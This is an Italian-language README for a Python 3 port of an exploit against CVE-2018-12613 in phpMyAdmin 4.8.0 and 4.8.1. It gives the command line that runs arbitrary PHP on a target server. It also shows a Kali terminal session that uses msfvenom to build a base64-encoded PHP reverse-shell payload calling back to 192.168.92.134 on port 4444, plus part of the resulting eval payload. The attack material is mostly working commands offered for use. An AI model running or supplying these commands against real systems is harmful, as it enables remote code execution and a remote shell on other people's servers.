CVE-2018-12613

Exploit standalone modificato e portato a Python 3. Testato su Python 3.7.3, con phpMyAdmin 4.8.1 in esecuzione su Ubuntu 16.04. Funziona solo su Linux. Exploit originale di SSD. Tutti i crediti vanno a loro.

Modifiche apportate

1. Aggiunta funzione per uscire se il nome utente/password phpMyAdmin fornito è corretto
2. Aggiunta funzione per verificare se la versione è vulnerabile (4.8.0 o 4.8.1)
3. Variabili convertite rigorosamente in byte o stringhe; Python 3 non consente di mescolarli. Vedi questo.

Utilizzo:

python3 CVE-2018-12613.py -u phpMyAdmin -p password -U http:///[url-phpMyAdmin] –P ”phpcredits();”

I risultati del codice PHP vengono salvati in results.html

Per la reverse shell

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# msfvenom --platform php -a php -e php/base64 -p php/reverse_php LHOST=192.168.92.134 LPORT=4444 -o payload.php
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4045 (iteration=0)
php/base64 chosen with final size 4045
Payload size: 4045 bytes
Saved as: payload.php

Usa il payload PHP di msfvenom al posto di phpcredits(); qui sopra

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# cat payload.php

eval(base64_decode(ICAg...gfQo));